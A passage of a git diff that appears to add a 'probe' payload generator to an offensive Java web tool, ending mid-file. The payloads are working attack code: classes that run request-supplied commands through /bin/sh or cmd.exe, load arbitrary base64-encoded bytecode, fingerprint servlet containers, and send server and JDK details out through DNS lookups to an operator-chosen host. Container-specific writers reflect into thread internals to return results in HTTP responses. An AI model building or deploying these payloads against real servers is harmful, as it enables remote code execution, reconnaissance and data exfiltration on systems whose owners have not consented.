com.reajason.javaweb.probe; + +/** + * @author ReaJason + * @since 2025/6/30 + */ +public enum ProbeContent { + Server, + OS, + JDK, + Bytecode, + Command, + BasicInfo +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeGenerator.java new file mode 100644 index 00000000..19641aa4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeGenerator.java @@ -0,0 +1,26 @@ +package com.reajason.javaweb.probe; + +import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ProbeContentConfig; +import org.apache.commons.lang3.StringUtils; + +/** + * @author ReaJason + * @since 2025/6/29 + */ +public class ProbeGenerator { + + public static ProbeResult generate(ProbeConfig probeConfig, ProbeContentConfig contentConfig) { + if (StringUtils.isBlank(probeConfig.getShellClassName())) { + probeConfig.setShellClassName(CommonUtil.generateInjectorClassName()); + } + byte[] bytes = probeConfig.getProbeMethod().generateBytes(probeConfig, contentConfig); + return ProbeResult.builder() + .shellClassName(probeConfig.getShellClassName()) + .shellBytes(bytes) + .probeConfig(probeConfig) + .probeContentConfig(contentConfig) + .build(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeMethod.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeMethod.java new file mode 100644 index 00000000..12363066 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeMethod.java @@ -0,0 +1,38 @@ +package com.reajason.javaweb.probe; + +import com.reajason.javaweb.memshell.generator.ShellGenerator; +import com.reajason.javaweb.probe.config.*; +import com.reajason.javaweb.probe.generator.DnsLogGenerator; +import com.reajason.javaweb.probe.generator.SleepGenerator; +import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator; + +import java.lang.reflect.Constructor; + +/** + * @author ReaJason + * @since 2025/6/30 + */ +public enum ProbeMethod { + DNSLog(DnsLogGenerator.class, DnsLogConfig.class), + ResponseBody(ResponseBodyGenerator.class, ResponseBodyConfig.class), + Sleep(SleepGenerator.class, SleepConfig.class); + + private final Class generatorClass; + private final Class configClass; + + ProbeMethod(Class generatorClass, Class configClass) { + this.generatorClass = generatorClass; + this.configClass = configClass; + } + + public byte[] generateBytes(ProbeConfig probeConfig, ProbeContentConfig probeContentConfig) { + try { + Constructor constructor = + generatorClass.getConstructor(ProbeConfig.class, configClass); + ShellGenerator generator = constructor.newInstance(probeConfig, configClass.cast(probeContentConfig)); + return generator.getBytes(); + } catch (Exception e) { + throw new RuntimeException("shell generate failed: " + e.getMessage(), e); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeResult.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeResult.java new file mode 100644 index 00000000..1f7ff614 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeResult.java @@ -0,0 +1,49 @@ +package com.reajason.javaweb.probe; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ProbeContentConfig; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2025/8/5 + */ +@Data +@NoArgsConstructor +@AllArgsConstructor +@Builder(builderClassName = "Builder") +public class ProbeResult { + private String shellClassName; + private transient byte[] shellBytes; + private long shellSize; + private String shellBytesBase64Str; + private ProbeConfig probeConfig; + private ProbeContentConfig probeContentConfig; + + public static class Builder { + public ProbeResult build() { + if (shellBytes != null) { + shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes); + shellSize = shellBytes.length; + } + return new ProbeResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, probeConfig, probeContentConfig); + } + } + + public ClassPackerConfig toClassPackerConfig() { + ClassPackerConfig classPackerConfig = new ClassPackerConfig(); + classPackerConfig.setClassName(shellClassName); + classPackerConfig.setClassBytes(shellBytes); + classPackerConfig.setClassBytesBase64Str(shellBytesBase64Str); + if (probeConfig != null) { + classPackerConfig.setByPassJavaModule(probeConfig.needByPassJavaModule()); + } + return classPackerConfig; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java new file mode 100644 index 00000000..8b448583 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/DnsLogConfig.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.probe.config; + +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.ToString; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2025/6/30 + */ +@Getter +@SuperBuilder +@ToString +public class DnsLogConfig extends ProbeContentConfig { + private String host; +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java new file mode 100644 index 00000000..ef3e41ce --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeConfig.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.probe.config; + +import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.probe.ProbeContent; +import com.reajason.javaweb.probe.ProbeMethod; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; +import lombok.experimental.SuperBuilder; +import net.bytebuddy.jar.asm.Opcodes; + +/** + * @author ReaJason + * @since 2025/6/30 + */ +@Data +@Builder +@AllArgsConstructor +@NoArgsConstructor +public class ProbeConfig { + private ProbeMethod probeMethod; + private ProbeContent probeContent; + + @Builder.Default + private String shellClassName = CommonUtil.generateInjectorClassName(); + /** + * 生成类的目标 JRE 版本 + */ + @Builder.Default + private int targetJreVersion = Opcodes.V1_6; + + /** + * 是否需要移除模块限制 + */ + @Builder.Default + private boolean byPassJavaModule = false; + + /** + * 是否开启调试 + */ + @Builder.Default + private boolean debug = false; + + /** + * 是否启用缩小字节码 + */ + @Builder.Default + private boolean shrink = false; + + public boolean isDebugOff() { + return !debug; + } + + public boolean needByPassJavaModule() { + return byPassJavaModule || targetJreVersion >= Opcodes.V9; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeContentConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeContentConfig.java new file mode 100644 index 00000000..30a17301 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ProbeContentConfig.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.probe.config; + +import lombok.Getter; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2025/8/5 + */ +@Getter +@SuperBuilder +public class ProbeContentConfig { +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java new file mode 100644 index 00000000..99fae0ac --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.probe.config; + +import lombok.Getter; +import lombok.ToString; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2025/6/30 + */ +@Getter +@SuperBuilder +@ToString +public class ResponseBodyConfig extends ProbeContentConfig { + private String server; + private String reqParamName; + private String reqHeaderName; +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/config/SleepConfig.java b/generator/src/main/java/com/reajason/javaweb/probe/config/SleepConfig.java new file mode 100644 index 00000000..e53d1283 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/config/SleepConfig.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.probe.config; + +import lombok.Getter; +import lombok.ToString; +import lombok.experimental.SuperBuilder; + +/** + * @author ReaJason + * @since 2025/8/1 + */ +@Getter +@SuperBuilder +@ToString +public class SleepConfig extends ProbeContentConfig { + private String server; + private int seconds; +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java new file mode 100644 index 00000000..d599e9b9 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/ByteBuddyShellGenerator.java @@ -0,0 +1,41 @@ +package com.reajason.javaweb.probe.generator; + +import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; +import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; +import com.reajason.javaweb.memshell.generator.ShellGenerator; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ProbeContentConfig; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; + +/** + * @author ReaJason + * @since 2025/5/27 + */ +public abstract class ByteBuddyShellGenerator implements ShellGenerator { + protected final ProbeConfig probeConfig; + protected final T probeContentConfig; + + public ByteBuddyShellGenerator(ProbeConfig probeConfig, T probeContentConfig) { + this.probeConfig = probeConfig; + this.probeContentConfig = probeContentConfig; + } + + protected abstract DynamicType.Builder build(ByteBuddy buddy); + + @Override + public byte[] getBytes() { + DynamicType.Builder builder = build(new ByteBuddy()); + if (probeConfig.needByPassJavaModule()) { + builder = ByPassJavaModuleInterceptor.extend(builder); + } + if (probeConfig.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + + try (DynamicType.Unloaded unloaded = builder.make()) { + return ClassBytesShrink.shrink(unloaded.getBytes(), probeConfig.isShrink()); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java new file mode 100644 index 00000000..784e67bc --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/DnsLogGenerator.java @@ -0,0 +1,48 @@ +package com.reajason.javaweb.probe.generator; + +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.probe.ProbeContent; +import com.reajason.javaweb.probe.config.DnsLogConfig; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.payload.JdkProbe; +import com.reajason.javaweb.probe.payload.ServerProbe; +import com.reajason.javaweb.probe.payload.dns.DnsLogJdk; +import com.reajason.javaweb.probe.payload.dns.DnsLogServer; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.dynamic.DynamicType; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/6/29 + */ +public class DnsLogGenerator extends ByteBuddyShellGenerator { + + public DnsLogGenerator(ProbeConfig probeConfig, DnsLogConfig probeContentConfig) { + super(probeConfig, probeContentConfig); + } + + @Override + protected DynamicType.Builder build(ByteBuddy buddy) { + ProbeContent detectContent = probeConfig.getProbeContent(); + switch (detectContent) { + case Server: + return buddy.redefine(DnsLogServer.class) + .name(CommonUtil.generateShellClassName()) + .visit(TargetJreVersionVisitorWrapper.DEFAULT) + .field(named("host")).value(probeContentConfig.getHost()) + .visit(Advice.to(ServerProbe.class).on(named("getServer"))); + case JDK: + return buddy.redefine(DnsLogJdk.class) + .name(CommonUtil.generateShellClassName()) + .visit(TargetJreVersionVisitorWrapper.DEFAULT) + .field(named("host")).value(probeContentConfig.getHost()) + .visit(Advice.to(JdkProbe.class).on(named("getJdk"))); + default: + throw new UnsupportedOperationException(detectContent + " not supported"); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java new file mode 100644 index 00000000..d060ad2b --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/SleepGenerator.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.probe.generator; + +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.reajason.javaweb.probe.ProbeContent; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.SleepConfig; +import com.reajason.javaweb.probe.payload.ServerProbe; +import com.reajason.javaweb.probe.payload.sleep.SleepServer; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.dynamic.DynamicType; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/6/29 + */ +public class SleepGenerator extends ByteBuddyShellGenerator { + + + public SleepGenerator(ProbeConfig probeConfig, SleepConfig probeContentConfig) { + super(probeConfig, probeContentConfig); + } + + @Override + protected DynamicType.Builder build(ByteBuddy buddy) { + ProbeContent detectContent = probeConfig.getProbeContent(); + if (ProbeContent.Server.equals(detectContent)) { + return buddy.redefine(SleepServer.class) + .name(CommonUtil.generateShellClassName()) + .visit(TargetJreVersionVisitorWrapper.DEFAULT) + .field(named("server")).value(probeContentConfig.getServer()) + .field(named("seconds")).value(probeContentConfig.getSeconds()) + .visit(Advice.to(ServerProbe.class).on(named("getServer"))); + } + throw new UnsupportedOperationException("Sleep Probe not supported for " + detectContent); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java new file mode 100644 index 00000000..22e590ce --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -0,0 +1,132 @@ +package com.reajason.javaweb.probe.generator.response; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import com.reajason.javaweb.probe.config.ProbeConfig; +import com.reajason.javaweb.probe.config.ResponseBodyConfig; +import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator; +import com.reajason.javaweb.probe.payload.ByteCodeProbe; +import com.reajason.javaweb.probe.payload.CommandProbe; +import com.reajason.javaweb.probe.payload.response.*; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.dynamic.DynamicType; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2025/6/29 + */ +public class ResponseBodyGenerator extends ByteBuddyShellGenerator { + public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeContentConfig) { + super(probeConfig, probeContentConfig); + } + + @Override + protected DynamicType.Builder build(ByteBuddy buddy) { + String name; + Class getDataFromReqInterceptor; + if (probeContentConfig.getReqParamName() != null) { + name = probeContentConfig.getReqParamName(); + getDataFromReqInterceptor = getDataFromReqParamInterceptor.class; + } else { + name = probeContentConfig.getReqHeaderName(); + getDataFromReqInterceptor = getDataFromReqHeaderInterceptor.class; + } + Class templateClass; + switch (probeContentConfig.getServer()) { + case Constants.Server.JETTY: + templateClass = JettyWriter.class; + break; + case Constants.Server.TOMCAT: + case Constants.Server.JBOSS: + case Constants.Server.BES: + templateClass = TomcatWriter.class; + break; + case Constants.Server.TONGWEB: + templateClass = TongWebWriter.class; + break; + case Constants.Server.RESIN: + templateClass = ResinWriter.class; + break; + case Constants.Server.UNDERTOW: + templateClass = UndertowWriter.class; + break; + case Constants.Server.GLASSFISH: + case Constants.Server.INFORSUITE: + templateClass = GlassFishWriter.class; + break; + case Constants.Server.WEBSPHERE: + templateClass = WebSphereWriter.class; + break; + case Constants.Server.WEBLOGIC: + templateClass = WebLogicWriter.class; + break; + case Constants.Server.APUSIC: + templateClass = ApusicWriter.class; + break; + default: + throw new IllegalArgumentException("responseBody now supported for server: " + probeContentConfig.getServer()); + } + + Class runInterceptor; + switch (probeConfig.getProbeContent()) { + case Command: + runInterceptor = CommandProbe.class; + break; + case Bytecode: + runInterceptor = ByteCodeProbe.class; + break; + default: + throw new IllegalArgumentException("responseBody not supported for probe content: " + probeConfig.getProbeContent()); + } + return buddy.redefine(templateClass) + .name(probeConfig.getShellClassName()) + .visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion())) + .visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq", + probeConfig.getShellClassName(), ShellCommonUtil.class.getName())) + .visit(Advice.withCustomMapping().bind(NameAnnotation.class, name) + .to(getDataFromReqInterceptor).on(named("getDataFromReq"))) + .visit(Advice.to(runInterceptor).on(named("run"))); + } + + static class getDataFromReqHeaderInterceptor { + @Advice.OnMethodExit + public static void enter(@Advice.Argument(value = 0) Object request, + @NameAnnotation String name, + @Advice.Return(readOnly = false) String ret) throws Exception { + try { + ret = ((String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name})); + } catch (Exception e) { + ret = null; + } + } + } + + static class getDataFromReqParamInterceptor { + @Advice.OnMethodExit + public static void enter(@Advice.Argument(value = 0) Object request, + @NameAnnotation String name, + @Advice.Return(readOnly = false) String ret) throws Exception { + try { + ret = ((String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name})); + } catch (Exception e) { + ret = null; + } + } + } + + @Retention(RetentionPolicy.RUNTIME) + public @interface NameAnnotation { + } +} + + + + diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/BasicInfoPrinter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/BasicInfoPrinter.java new file mode 100644 index 00000000..e5ae102c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/BasicInfoPrinter.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.probe.payload; + +import java.lang.management.ManagementFactory; +import java.lang.management.ThreadInfo; +import java.lang.management.ThreadMXBean; +import java.text.SimpleDateFormat; +import java.util.*; + +/** + * @author ReaJason + * @since 2025/7/29 + */ +public class BasicInfoPrinter { + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + sb.append("# Generated At ").append(sdf.format(new Date())).append("\n"); + sb.append("SystemProps:\n"); + Properties properties = System.getProperties(); + for (Object key : properties.keySet()) { + sb.append(key).append(": ").append(properties.get(key)).append("\n"); + } + sb.append("\n===========================================\n"); + sb.append("\nThreadStacks:\n"); + Map allStackTraces = Thread.getAllStackTraces(); + ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean(); + Set classNames = new HashSet<>(); + for (Map.Entry threadEntry : allStackTraces.entrySet()) { + Thread thread = threadEntry.getKey(); + StackTraceElement[] stackTrace = threadEntry.getValue(); + ThreadInfo threadInfo = threadMXBean.getThreadInfo(thread.getId()); + sb.append("\"").append(thread.getName()).append("\" #").append(thread.getId()); + if (thread.isDaemon()) { + sb.append(" daemon"); + } + sb.append(" [").append(thread.getState()).append("]"); + if (threadInfo != null && threadInfo.getLockName() != null) { + sb.append(" on ").append(threadInfo.getLockName()); + } + sb.append("\n"); + sb.append(" java.lang.Thread.State: ").append(thread.getState()).append("\n"); + for (StackTraceElement element : stackTrace) { + sb.append("\tat ").append(element.toString()).append("\n"); + String className = element.getClassName(); + + if (!className.startsWith("java.") + && !className.startsWith("jdk.") + && !className.startsWith("sun.") + && !className.startsWith("com.sun.") + && !className.startsWith("javax.") + ) { + classNames.add(className); + } + } + sb.append("\n"); + } + sb.append("\n===========================================\n"); + sb.append("\nStackClassNames:\n"); + List strings = new ArrayList<>(classNames); + Collections.sort(strings); + for (String className : strings) { + sb.append(className).append("\n"); + } + return sb.toString(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java new file mode 100644 index 00000000..688a7468 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java @@ -0,0 +1,47 @@ +package com.reajason.javaweb.probe.payload; + +import lombok.SneakyThrows; +import net.bytebuddy.asm.Advice; + +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +/** + * @author ReaJason + * @since 2025/8/5 + */ +public class ByteCodeProbe { + + private final String base64Str; + + public ByteCodeProbe(String base64Str) { + this.base64Str = base64Str; + } + + @Advice.OnMethodExit + public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable { + Class decoderClass; + byte[] classBytes; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, data); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), data); + } + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(new URLClassLoader(new URL[]{}), classBytes, 0, classBytes.length); + ret = clazz.newInstance().toString(); + System.out.println(ret); + return ret; + } + + @Override + @SneakyThrows + public String toString() { + return ByteCodeProbe.exit(base64Str, super.toString()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java new file mode 100644 index 00000000..4a1d5135 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java @@ -0,0 +1,36 @@ +package com.reajason.javaweb.probe.payload; + +import lombok.SneakyThrows; +import net.bytebuddy.asm.Advice; + +import java.util.NoSuchElementException; +import java.util.Scanner; + +/** + * @author ReaJason + * @since 2025/8/5 + */ +public class CommandProbe { + private final String command; + + public CommandProbe(String command) { + this.command = command; + } + + @Advice.OnMethodExit + public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception { + String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data}; + Process process = new ProcessBuilder(cmd).start(); + try { + return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next(); + } catch (NoSuchElementException e) { + return ret = new Scanner(process.getErrorStream()).useDelimiter("\\A").next(); + } + } + + @Override + @SneakyThrows + public String toString() { + return CommandProbe.exit(command, super.toString()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/JdkProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/JdkProbe.java new file mode 100644 index 00000000..c15fec1f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/JdkProbe.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.probe.payload; + +import net.bytebuddy.asm.Advice; + +import java.io.File; + +/** + * @author ReaJason + * @since 2025/7/26 + */ +public class JdkProbe { + @Advice.OnMethodExit + public static String exit(@Advice.Return(readOnly = false) String ret) { + String javaHome = System.getProperty("java.home"); + String javacName = File.separatorChar == '\\' ? "javac.exe" : "javac"; + // 检查 JDK 9+ 结构 (java.home/bin/javac) 或独立 JRE + File javacFileInBin = new File(javaHome, "bin" + File.separator + javacName); + // 检查 JDK 8 及更早版本的结构 (java.home/../bin/javac) 旧版 JDK 中,java.home 指向 jre 目录 + File javacFileInParentBin = new File(new File(javaHome).getParentFile(), "bin" + File.separator + javacName); + String jdkType = (javacFileInBin.exists() || javacFileInParentBin.exists()) ? "JDK" : "JRE"; + String javaVersion = System.getProperty("java.version"); + String classVersion = String.valueOf(Double.valueOf(Double.parseDouble(System.getProperty("java.class.version"))).intValue()); + return ret = jdkType + "|" + javaVersion + "|" + classVersion; + } + + @Override + public String toString() { + return JdkProbe.exit(super.toString()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/OsProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/OsProbe.java new file mode 100644 index 00000000..dc17ac33 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/OsProbe.java @@ -0,0 +1,26 @@ +package com.reajason.javaweb.probe.payload; + +import net.bytebuddy.asm.Advice; + +/** + * @author ReaJason + * @since 2025/7/26 + */ +public class OsProbe { + @Advice.OnMethodExit + public static String exit(@Advice.Return(readOnly = false) String ret) { + String os = System.getProperty("os.name").toLowerCase(); + if (os.startsWith("win")) { + return ret = "win"; + } + if (os.startsWith("mac")) { + return ret = "mac"; + } + return ret = "linux"; + } + + @Override + public String toString() { + return OsProbe.exit(super.toString()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java new file mode 100644 index 00000000..47731f38 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java @@ -0,0 +1,81 @@ +package com.reajason.javaweb.probe.payload; + +import net.bytebuddy.asm.Advice; + +import java.util.Collection; +import java.util.HashSet; +import java.util.Set; + +/** + * HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish + * 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish + *
+ * 额外需要注意: + * 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型 + * 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序 + * + * @author ReaJason + * @since 2025/7/26 + */ +public class ServerProbe { + + @Advice.OnMethodExit + public static String exit(@Advice.Return(readOnly = false) String ret) { + Collection stackTraceElements = Thread.getAllStackTraces().values(); + Set classNames = new HashSet<>(); + for (StackTraceElement[] stackTraceElement : stackTraceElements) { + for (StackTraceElement traceElement : stackTraceElement) { + classNames.add(traceElement.getClassName()); + } + } + if (System.getProperty("jetty.home") != null + || classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) { + return ret = "Jetty"; + } + if (classNames.contains("io.undertow.server.Connectors")) { + return ret = "Undertow"; + } + if (System.getProperty("com.cvicse.inforsuite.base.dir") != null) { + return ret = "InforSuite"; + } + if (System.getProperty("com.apusic.home") != null) { + return ret = "Apusic"; + } + if (System.getProperty("bes.home") != null + && classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) { + return ret = "BES"; + } + if (System.getProperty("tongweb.home") != null) { + return ret = "TongWeb"; + } + if (System.getProperty("weblogic.home") != null) { + return ret = "WebLogic"; + } + if (System.getProperty("was.install.root") != null) { + return ret = "WebSphere"; + } + if (System.getProperty("resin.home") != null) { + return ret = "Resin"; + } + if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) { + return ret = "SpringWebFlux"; + } + if (System.getProperty("AS_INSTALL") != null) { + return ret = "GlassFish"; + } + if (System.getProperty("jboss.home.dir") != null + && classNames.contains("org.apache.tomcat.util.net.JIoEndpoint$Acceptor")) { + return ret = "JBoss"; + } + if (System.getProperty("catalina.home") != null + || classNames.contains("org.apache.tomcat.util.threads.TaskQueue")) { + return ret = "Tomcat"; + } + return ret = "Unknown"; + } + + @Override + public String toString() { + return ServerProbe.exit(super.toString()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java new file mode 100644 index 00000000..f6daa8ed --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java @@ -0,0 +1,33 @@ +package com.reajason.javaweb.probe.payload.dns; + +import java.net.InetAddress; + +/** + * @author ReaJason + * @since 2025/7/28 + */ +public class DnsLogJdk { + public static String host; + + static { + new DnsLogJdk(); + } + + public DnsLogJdk() { + String[] jdkInfos = getJdk().split("\\|"); + String[] result = new String[]{ + "jdkType." + jdkInfos[0], + "javaVersion." + jdkInfos[1] + }; + for (String info : result) { + try { + InetAddress.getAllByName(info + "." + host); + } catch (Throwable ignored) { + } + } + } + + private String getJdk() { + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java new file mode 100644 index 00000000..6415ac00 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java @@ -0,0 +1,26 @@ +package com.reajason.javaweb.probe.payload.dns; + +import java.net.InetAddress; + +/** + * @author ReaJason + * @since 2025/7/28 + */ +public class DnsLogServer { + public static String host; + + static { + new DnsLogServer(); + } + + public DnsLogServer() { + try { + InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host); + } catch (Throwable ignored) { + } + } + + private String getServer() { + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java new file mode 100644 index 00000000..f4c5e418 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java @@ -0,0 +1,91 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/8/10 + */ +public class ApusicWriter { + public ApusicWriter() { + try { + Object table = getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { + Object entry = Array.get(table, i); + if (entry == null) { + continue; + } + Object value = getFieldValue(entry, "value"); + // 